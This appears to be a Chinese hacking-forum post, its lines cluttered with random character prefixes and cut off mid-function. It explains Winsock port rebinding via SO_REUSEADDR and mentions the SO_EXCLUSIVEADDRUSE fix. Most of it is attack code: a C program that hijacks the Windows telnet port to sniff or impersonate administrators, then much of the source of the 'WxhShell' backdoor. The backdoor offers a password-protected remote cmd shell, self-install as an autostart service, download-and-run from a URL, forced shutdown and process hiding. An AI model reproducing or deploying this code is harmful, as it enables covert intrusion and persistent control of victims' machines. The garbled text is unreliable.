在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
8|*#r[x s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
WJ":BK{NM U+: o y:mz saddr.sin_family = AF_INET;
QFt7L 4gbi?UAmX saddr.sin_addr.s_addr = htonl(INADDR_ANY);
9c9FC BNns#Q8a bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
=%P'?(o| GO0Spf_Gh 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
AT Dm$ * U
?'$E\ 这意味着什么?意味着可以进行如下的攻击:
/)fx(u# Rj6:.KEJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
GPlAQk pie<jZt 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
*qdf?'R hd{Vz{;W 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
?|!167/O ]AkHNgW 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
]4~-
z3=y 9QE|p 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
#vh1QV!Ho #!V
[(/ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Dlz||== :aHD'K 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
'D#iT}Vu !9|)v7} #include
DE"KbA0} #include
D>"U0*h #include
*I,3,zO #include
`~|8eKFq! DWORD WINAPI ClientThread(LPVOID lpParam);
pgT XyAP{ int main()
U7O]g'BP {
GtI]6t WORD wVersionRequested;
j$r .&,m DWORD ret;
u=^0n2ez WSADATA wsaData;
ER,,K._?B BOOL val;
eBiP\ SOCKADDR_IN saddr;
l*]9 SOCKADDR_IN scaddr;
s!S,;H int err;
$T* ##kyE9 SOCKET s;
t95hI DtD SOCKET sc;
clfi)-^{K int caddsize;
*4}lV8 HANDLE mt;
S~^0
_? DWORD tid;
C {.{>M wVersionRequested = MAKEWORD( 2, 2 );
_|%pe]St err = WSAStartup( wVersionRequested, &wsaData );
X&qRanOP;z if ( err != 0 ) {
JmN,:bI printf("error!WSAStartup failed!\n");
sX53(|?* return -1;
hCRW0
I }
pl62mp! saddr.sin_family = AF_INET;
T{=.mW^ x tMGkm8y-A //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
s'%KKC ,Nl]rmI saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
aIaydu+ \ saddr.sin_port = htons(23);
!R,9Pg*Ey if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
J]uYXsC {
9D74/3b* printf("error!socket failed!\n");
?m-kpW8 return -1;
Y68`B"3 }
9HMW!DSK` val = TRUE;
mY"DYYR> //SO_REUSEADDR选项就是可以实现端口重绑定的
lS P{9L6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
*0bbSw1kc {
"aNl2 T printf("error!setsockopt failed!\n");
Yo0%5 noz return -1;
7Cf%v`B4D }
1lRqjnzve& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
6S?a57;&W //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^Q8m)0DP //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
6GzmzhX4 E\!:MCL if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
%8iA0t+ {
M
(dVY/ i ret=GetLastError();
I\V33Nd printf("error!bind failed!\n");
_@D}2 return -1;
rXo2MX@u }
}%k,PYe/ listen(s,2);
DJgk"' while(1)
Gjuc"JR7 {
wqo2iRql caddsize = sizeof(scaddr);
?QO)b9 //接受连接请求
j}YZl@dYV sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
@(.?e< if(sc!=INVALID_SOCKET)
(zkh`8L {
01I5,Dm mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
R`=IYnoOA if(mt==NULL)
<x@\3{{U {
e2w$":6> printf("Thread Creat Failed!\n");
D[{p~x^ break;
V M[9!:
}
&*g5kh{ }
S8j;oJ2d CloseHandle(mt);
Y1AbG1n| }
EK.L>3 closesocket(s);
qS{lay WSACleanup();
,u QLXF2 return 0;
z.23i^Q }
xXO& -v{ DWORD WINAPI ClientThread(LPVOID lpParam)
8 g'9( )& {
$I_04k#t SOCKET ss = (SOCKET)lpParam;
[ d<|Cde SOCKET sc;
HC
w$v# unsigned char buf[4096];
>j?5MIm03 SOCKADDR_IN saddr;
E*Vx^k$ long num;
77/y{#Sk DWORD val;
+Cx~4zEq DWORD ret;
W#'c6Hq2c //如果是隐藏端口应用的话,可以在此处加一些判断
7-Rn{"5 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
MnFem $ @ saddr.sin_family = AF_INET;
b0LjNO@< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
OB3AZH$ saddr.sin_port = htons(23);
><OdHRh@# if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Mr:*l`b_ {
lj%8(X u printf("error!socket failed!\n");
`(aU_r= return -1;
W"Dj+/uS }
9.e?<u*-z val = 100;
n]4)~ZIAU if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Rz`<E97- {
93fKv ret = GetLastError();
`u:U{m return -1;
dv4)fG]W;_ }
Jf`;F : if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
M4M
4*o {
c}vy9m$B_ ret = GetLastError();
do*`-SDy return -1;
*Q=-7am }
F']Vg31c if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Hk2@X( {
(o^V[zV printf("error!socket connect failed!\n");
4M(w<f\5F closesocket(sc);
3leg,qd closesocket(ss);
^w2n return -1;
&.kg8|s{ }
t,N-| while(1)
MS^,h>KI {
u!g=>zEu //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
/(n)I //如果是嗅探内容的话,可以再此处进行内容分析和记录
UE7P =B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
D]y6*Ha num = recv(ss,buf,4096,0);
}3:TPW5S if(num>0)
psRm*,*O send(sc,buf,num,0);
y5a^xRDw else if(num==0)
A#1aO break;
f]T1:N*t num = recv(sc,buf,4096,0);
g/+M&k$ if(num>0)
$$ _ uQf send(ss,buf,num,0);
hl}#bZ8] else if(num==0)
\+GXUnkj break;
)2YU| }
9 K$F.{cx closesocket(ss);
%9mB4Fc6b) closesocket(sc);
B>X+eK return 0 ;
.j88=t0
}
9ciL<'H\ HT?`PG ^ bM;C_<$f ==========================================================
uNXh"? `k\]I |6 下边附上一个代码,,WXhSHELL
LDV{#5J \07Vh6cj ==========================================================
1b3Lan_2 +Q-~~v7, #include "stdafx.h"
eV9:AN }K= K1:F{* #include <stdio.h>
Cy6[p #include <string.h>
6El%T]^ #include <windows.h>
AaTtYd #include <winsock2.h>
O-T/H-J` #include <winsvc.h>
u.hnQsM #include <urlmon.h>
R~RY:[5?w *kyy''r #pragma comment (lib, "Ws2_32.lib")
(-dJ0!
#pragma comment (lib, "urlmon.lib")
qwFn(pK[ vo71T<K #define MAX_USER 100 // 最大客户端连接数
fil6w</L #define BUF_SOCK 200 // sock buffer
\TMRS( #define KEY_BUFF 255 // 输入 buffer
<S$y=>.9 w5n>hz_5 #define REBOOT 0 // 重启
8QC:ro #define SHUTDOWN 1 // 关机
w5|@vB/pj P#ru-0DD #define DEF_PORT 5000 // 监听端口
-m'a%aog L6 _Sc-sU #define REG_LEN 16 // 注册表键长度
w4L\@y3 #define SVC_LEN 80 // NT服务名长度
P\zi:]h[Gh n+uq|sYVa // 从dll定义API
_IlL'c5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
(OG@]|- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&u=FLp5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
mz\m^g3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
>MQW{^ `}Q;2 F // wxhshell配置信息
5,Q('t#J struct WSCFG {
A5H[g`& int ws_port; // 监听端口
!uO|T'u0a char ws_passstr[REG_LEN]; // 口令
*c3o&-ke9 int ws_autoins; // 安装标记, 1=yes 0=no
9 oq(5BG, char ws_regname[REG_LEN]; // 注册表键名
:cynZab char ws_svcname[REG_LEN]; // 服务名
'!1lK char ws_svcdisp[SVC_LEN]; // 服务显示名
["L?t ^*G char ws_svcdesc[SVC_LEN]; // 服务描述信息
R*yB); p char ws_passmsg[SVC_LEN]; // 密码输入提示信息
cuKgO{.GH int ws_downexe; // 下载执行标记, 1=yes 0=no
$^
>n@Q@&L char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
V;:A& char ws_filenam[SVC_LEN]; // 下载后保存的文件名
9h0|^ttF > %Y#(_~a };
T3?kabbF ;F0A\5I // default Wxhshell configuration
-5>g 0o2 struct WSCFG wscfg={DEF_PORT,
T@vVff "xuhuanlingzhe",
>LLz G 1,
Q o= "Wxhshell",
t]&n_]`{. "Wxhshell",
@~N#)L^ "WxhShell Service",
"t\9@nzdX "Wrsky Windows CmdShell Service",
6kDU}]c:H] "Please Input Your Password: ",
RgRcW5VxK 1,
M]_vb,=1 "
http://www.wrsky.com/wxhshell.exe",
\Fj4Gy?MW "Wxhshell.exe"
[FCNW0NV };
Bf*
F^ SfR!q4b= // 消息定义模块
pEaH^(I* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
}oU&J81 char *msg_ws_prompt="\n\r? for help\n\r#>";
S7SPc char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
(6A{6_p char *msg_ws_ext="\n\rExit.";
4@W.{|2~ char *msg_ws_end="\n\rQuit.";
#{?oUg>$ char *msg_ws_boot="\n\rReboot...";
_|Dt6 char *msg_ws_poff="\n\rShutdown...";
!EW]:u char *msg_ws_down="\n\rSave to ";
oNh .Zgg R1m18GHQ char *msg_ws_err="\n\rErr!";
,}|V'y char *msg_ws_ok="\n\rOK!";
g,W#3b6>j :-
5Mn3* char ExeFile[MAX_PATH];
#M>E{w9 int nUser = 0;
bQeYFY#^ HANDLE handles[MAX_USER];
~,guw7F int OsIsNt;
"yz@LV1 9q5[W=| SERVICE_STATUS serviceStatus;
T(}da**X SERVICE_STATUS_HANDLE hServiceStatusHandle;
.ev]tu2N [{c8:)ar // 函数声明
~G$OY9UC int Install(void);
"l@~WE int Uninstall(void);
@6tx5D? int DownloadFile(char *sURL, SOCKET wsh);
JH5])i0 int Boot(int flag);
6x7=0}' void HideProc(void);
D"WkD j"M int GetOsVer(void);
tvH)I px int Wxhshell(SOCKET wsl);
{38aaf|'/ void TalkWithClient(void *cs);
.5z|g@
6 int CmdShell(SOCKET sock);
Zu hT \l int StartFromService(void);
!3&}r
int StartWxhshell(LPSTR lpCmdLine);
h}d7M55#| oy'+n- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
YS~x-5OE\ VOID WINAPI NTServiceHandler( DWORD fdwControl );
x~z 2l#ow -|T^ // 数据结构和表定义
Af%?WZlOq SERVICE_TABLE_ENTRY DispatchTable[] =
hPH7(f|c{g {
GJ$,@ {wscfg.ws_svcname, NTServiceMain},
4NzHzn {NULL, NULL}
t.TQ@c+,J };
oe<Y,%u"6 y1saE // 自我安装
OH(+]%B78 int Install(void)
i0!F {
f_\-y&)+* char svExeFile[MAX_PATH];
\X`P
W HKEY key;
)}aF=% strcpy(svExeFile,ExeFile);
4~/6d9f tv{.iM|V c // 如果是win9x系统,修改注册表设为自启动
Qi}LV"&L if(!OsIsNt) {
][mc^eI0s| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lyPXlt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
f:SF&t* RegCloseKey(key);
}:irjeI, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
n"
~*9' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
pWp2{G^XB RegCloseKey(key);
r/v&tU return 0;
K|/a]I": }
SrtmpQ }
; n@C(hG }
h.^DRR^S else {
O
o:jP6r E.3}a>f // 如果是NT以上系统,安装为系统服务
7AiCQWf9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
[ bW=>M if (schSCManager!=0)
Yp)U'8{h c {
w~&]gyf SC_HANDLE schService = CreateService
Ed-gYL^< (
2I<T<hFW] schSCManager,
mI0r,Z*+M wscfg.ws_svcname,
Dfo9jYPf wscfg.ws_svcdisp,
8GP}g?% SERVICE_ALL_ACCESS,
(D{}1sZBQ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
#.)>geLC>9 SERVICE_AUTO_START,
$^!w`>0C SERVICE_ERROR_NORMAL,
cn0Fz"d svExeFile,
?X1#b2s NULL,
iQF}x&a< NULL,
e2fct|' NULL,
B@=<'/S\7 NULL,
AIyv;}5 NULL
&^H
"T6 );
aiHr2x6 if (schService!=0)
d/&|%Z
r {
m5pVt4 CloseServiceHandle(schService);
w-$w CloseServiceHandle(schSCManager);
*PEuaRDN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
pYG,5+g strcat(svExeFile,wscfg.ws_svcname);
A] 9JbNV if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
bAiw]xi RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
O m RegCloseKey(key);
{p
0'Lc<3n return 0;
uH[0kh }
mW-W7-JhO7 }
E'8Bw7Tz CloseServiceHandle(schSCManager);
5m42Bqy" }
02[II_< 1 }
R!,)?j; 5KR|p Fq return 1;
6hK"k }
+df?N
e 63|Z[8 // 自我卸载
hhGpB$A int Uninstall(void)
H\mVK!](D {
~PnpYd<2 HKEY key;
EC'bgFe uN
62> if(!OsIsNt) {
%Z yPK,(" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%
eRwH
> RegDeleteValue(key,wscfg.ws_regname);
J36@Pf]h RegCloseKey(key);
L@r.R_*H?s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
sV[Z|$&Z RegDeleteValue(key,wscfg.ws_regname);
)yW_O: RegCloseKey(key);
9 Zm<1Fw return 0;
)uvFta<( }
l|A8AuO*? }
Mqp68% }
x Ui!|c else {
(N|xDl&; %}XMhWn{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
}dJ ~Iy if (schSCManager!=0)
sVd_O[ {
; ZV^e SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5R `6zhf if (schService!=0)
acY[?L_6J {
v:MS0] if(DeleteService(schService)!=0) {
~4MjJKzA CloseServiceHandle(schService);
RCYbRR4y CloseServiceHandle(schSCManager);
yQ{_\t1Wd return 0;
R"gm]SQ/ }
P&0cF{ CloseServiceHandle(schService);
X-#mv|3 }
lO> 7`2x=F CloseServiceHandle(schSCManager);
YBIe'(p }
YO$b# }
@ ^cgq3H' Xl6ZV,1=n7 return 1;
cGta4; }
$L8s/1up K)UOx#xe1 // 从指定url下载文件
a=.db&;vY int DownloadFile(char *sURL, SOCKET wsh)
l0\>zWLZZ9 {
I%>]!X HRESULT hr;
?{,)XFck char seps[]= "/";
*9Js:z7I char *token;
( L\G!pP. char *file;
s4`*0_n char myURL[MAX_PATH];
|/=p char myFILE[MAX_PATH];
HcVs(]tIW EJaaW&>[ strcpy(myURL,sURL);
+1jqCW token=strtok(myURL,seps);
AJlIA[Kt: while(token!=NULL)
k`mrRs {
8sF0]J[g{ file=token;
TL{pc=eBo token=strtok(NULL,seps);
.N5R?fmD }
X /,1] >m6,xxTR GetCurrentDirectory(MAX_PATH,myFILE);
*2
$m>N strcat(myFILE, "\\");
#'Y6UGJ\n strcat(myFILE, file);
a 8hv .43 send(wsh,myFILE,strlen(myFILE),0);
(Zn3-t* send(wsh,"...",3,0);
7W firRM hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
:$Q]U2$mPS if(hr==S_OK)
OGi4m | return 0;
:'rZZeb' else
bA^:p3 return 1;
t>GLZzO 'a/6]%QFd! }
7K]U|K# D3AtYt // 系统电源模块
< Gy!i/ int Boot(int flag)
4i\aW:_'i {
^=Tu>{uD HANDLE hToken;
5YG@[ic TOKEN_PRIVILEGES tkp;
K[a< _B7?C:8Q- if(OsIsNt) {
x*"pDI0k) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
pkV\D LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
:mV7)oWH tkp.PrivilegeCount = 1;
.'{6u;8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ID).*@(I" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
GlgORy=> if(flag==REBOOT) {
+JAfHQm- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
($ B]9* return 0;
fRa-bqQ }
"ko?att~ else {
M|E2&ht if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
19w,'}CGk return 0;
&B7+>Ix, }
?)o4 Kt'h }
Iam-'S5 else {
))69a if(flag==REBOOT) {
])ALAAIc- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
GE8D3V;*V return 0;
{L-aXe{ }
a(43]d& else {
Gp3nR<+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
`ToRkk&&>{ return 0;
k1Mxsd }
Gg pQ]rw }
#b"5L2D`y' qqt.nrQ^ return 1;
0jJ28.kOp }
zTBi{KrZ wI]R+. // win9x进程隐藏模块
k E#_Pc void HideProc(void)
L[D/#0qp {
;$tv8%_L[ q~'
K9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Jyz$&jqyr' if ( hKernel != NULL )
?(NT!es {
5IE+M pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
uM#U! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
J,0WQQnb FreeLibrary(hKernel);
q%kj[ZOY$] }
6(q`Oj o|^?IQ7bpf return;
3VRZM@i }
Eagmafu 7ru9dg1? // 获取操作系统版本
ZaUcP6[h int GetOsVer(void)
?m9UhLeaS= {
Va/@#=,q] OSVERSIONINFO winfo;
kG;eOp16R winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
^2;(2s GetVersionEx(&winfo);
pW3)Y5/D if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
@a.6?.<L return 1;
3e!Yu.q: else
;LF)u2x= return 0;
F<ocY0=9p }
fCt\2);a djy: // 客户端句柄模块
leb^,1/D6 int Wxhshell(SOCKET wsl)
MNf @HG {
fBWJ%W SOCKET wsh;
5Du>-.r struct sockaddr_in client;
hDD~,/yVxs DWORD myID;
y5AXL5 +%le/Pg@ while(nUser<MAX_USER)
X~)V )'R {
\A3>c| int nSize=sizeof(client);
Ky'3z" wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
THbtu*El if(wsh==INVALID_SOCKET) return 1;
32bkouq Gkodk[VuLs handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
pT
ocqJ22 if(handles[nUser]==0)
;( Ajf.i closesocket(wsh);
gGI#QPT`X else
[nN\{"~O nUser++;
\Sq"3_m4T }
r_V2 J{B WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
EYJ i6# Ot2zhR ) return 0;
mOz&6T<| }
)S wG+k, V$Xl^# tN // 关闭 socket
uku}Mr"p void CloseIt(SOCKET wsh)
lEyG9Xvi {
;1R?9JN" closesocket(wsh);
X8,7_D$ nUser--;
%g]$Vfpy ExitThread(0);
?LV-W }
B::4Qme LpiHoavv // 客户端请求句柄
7$1fy0f[l void TalkWithClient(void *cs)
#E$Z[G] {
a$xeiy9 iKF$J3a\2f SOCKET wsh=(SOCKET)cs;
I", &%0ycm char pwd[SVC_LEN];
+C'TW^ char cmd[KEY_BUFF];
>TlW]st char chr[1];
Re kb?|{z
int i,j;
zU4V^N' 6HEqm>Yau while (nUser < MAX_USER) {
Ha=_u+@ d Y:|Ef|v( if(wscfg.ws_passstr) {
y} $P, if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
KTLbqSS\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
l?o-!M{ //ZeroMemory(pwd,KEY_BUFF);
!Ig|m+ i=0;
&sZ9$s:(^ while(i<SVC_LEN) {
zldfRo\wl )y%jLiQv // 设置超时
]< s\V-y fd_set FdRead;
R%Ui6dCLo struct timeval TimeOut;
`FzYvd"N FD_ZERO(&FdRead);
d4y9AE@k FD_SET(wsh,&FdRead);
FUyB"-< TimeOut.tv_sec=8;
s.R-<Y3 TimeOut.tv_usec=0;
68koQgI[^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
(
K6~Tj
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
`x{.z=xC wDT>">&d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
N"Qg\PS_ pwd
=chr[0]; tT@w%Sz57N
if(chr[0]==0xd || chr[0]==0xa) { L(WL,xnBy
pwd=0; E(QZ!'%K+m
break; ?fbgU
} VxkCK02k
i++; ZR;8rZ](
} M#\ <
E[|s>Xv~
// 如果是非法用户,关闭 socket %]a
@A8o0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k#axt
Sc
} nabBU4;h
99l>CYXd
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /~3N@J
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y*VQ]aJ
KA 5~">l
while(1) { ]^J+-c
v`#j
ZeroMemory(cmd,KEY_BUFF); ,:#,}w_HyO
qj~flw1:
// 自动支持客户端 telnet标准 c;:">NR
j=0; \)OZUch
while(j<KEY_BUFF) { u* t,i`
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NJ;"jQ-
cmd[j]=chr[0]; g$*/XSr(
if(chr[0]==0xa || chr[0]==0xd) { fm(mO%
cmd[j]=0; @4IW=V
break; g>2aIun_Q
}
0dgP
j++; b]!9eV$
} G(U 9rJ9
lLb:f6N
// 下载文件 v ! 7s
M
if(strstr(cmd,"http://")) { _GVE^yW~z
send(wsh,msg_ws_down,strlen(msg_ws_down),0); U@Z>/ q
if(DownloadFile(cmd,wsh)) nNt*} k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X+=-f^)&
else o&(wg(Rv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8YuJ8KC
} -PNi^
K_
else { )y9 ;OA
Y/.AUN
Z
switch(cmd[0]) { NH7`5mF$
A/q2g7My
// 帮助 ifXW
case '?': { Z[",$Lt
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KcC!N{
break; %'Zc2h&z
} ,N53Iic
// 安装 &4,WG
case 'i': { ?Bo?JMV
if(Install()) OFc\fW#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ojHhT\M`
else ""co6qo#>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1HMUHZT
break; >\V6+$cNp
} ]UDd :2yt
// 卸载 zVSx$6eiU
case 'r': { f}^I=pS&
if(Uninstall()) \+-zRR0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +' %@!
else bS>R5*Zp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^:`oP"%-T
break; ~12_D'8D[
} "`pNH'
// 显示 wxhshell 所在路径 N_ UQ
case 'p': { tAF]2VV(e
char svExeFile[MAX_PATH]; \tY"BC4.
strcpy(svExeFile,"\n\r"); u*2fP]n
strcat(svExeFile,ExeFile); kw*)/$5]
send(wsh,svExeFile,strlen(svExeFile),0); 5sCFzo<=vh
break; ;HDZ+B
} S}[l*7
// 重启 3y99O
$EAc
case 'b': { KU-'+k2s;p
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 11@]d]v ,
if(Boot(REBOOT)) Q]@c&* _|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <3 A0={En
else { z
v>Oh#
closesocket(wsh); >OV<_(S4
ExitThread(0); nX|Q~x]
} H@GE)I>^@
break; o\Uu?.-<
} 1BJ<m5/1%
// 关机 #%:c0=
case 'd': { 2-~|Z=eGW
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F/>*Ifs
if(Boot(SHUTDOWN)) nZfs=@w:y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vA=Z=8
else { ow$q7uf
closesocket(wsh); kY"KD22a
ExitThread(0); K UKACUL
} En(7(qP6}
break; B{C_hy-fw
} d+;gw*_Ei
// 获取shell O gmSQ
case 's': { DECB*9O^
CmdShell(wsh); xACdZB(
closesocket(wsh); 8$0\J _
ExitThread(0); wJe?t$ac?
break; %%%S"$t
} {T=52h=e
// 退出 /@hJpz|+
case 'x': { )tS-.P rA-
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .h4\{|
CloseIt(wsh); 4*TmlY
break; qTT,U9]:
} `
J]xP$)
// 离开 WF2NG;f=
case 'q': { rAb&I"\ZY
send(wsh,msg_ws_end,strlen(msg_ws_end),0); >O#grDXb
closesocket(wsh); Ha%F"V*
WSACleanup(); 2?W7I/F
exit(1); 5r b-U7 /
break; ZtK\HDdp
} Gh}yb-$N`&
} o:"anHs
} :P$#MC
Pao%pA.<
// 提示信息 KVkMU?6
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $d/&k`
} (&[[46
} z
x@$RS+]
"7,FXTaer
return; d--'Rn5
} nPN?kO=]
JN4fPGbV
// shell模块句柄 {^}0 G^
int CmdShell(SOCKET sock) paW@\1Q
{ :=Kx/E:1
STARTUPINFO si; n((vY.NDV
ZeroMemory(&si,sizeof(si)); $bvJTuw
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,lt8O.h-l
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t9^A(Vh"-
PROCESS_INFORMATION ProcessInfo; FY'ty@|_s
char cmdline[]="cmd"; 2 rN ,D(
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "B{ECM;
return 0; AVl~{k|
} Wh(
|+rJ?Z
x[Im%k
// 自身启动模式 9MY7a=5E~
int StartFromService(void) \K
iwUz
{ \(
)#e
typedef struct [8XLK 4e
{ ?kTWpXx"=
DWORD ExitStatus; HN6}R|IH
DWORD PebBaseAddress; El-
? %
DWORD AffinityMask; e5?PkFV^a1
DWORD BasePriority; +9XQ[57
ULONG UniqueProcessId; :7g=b%;
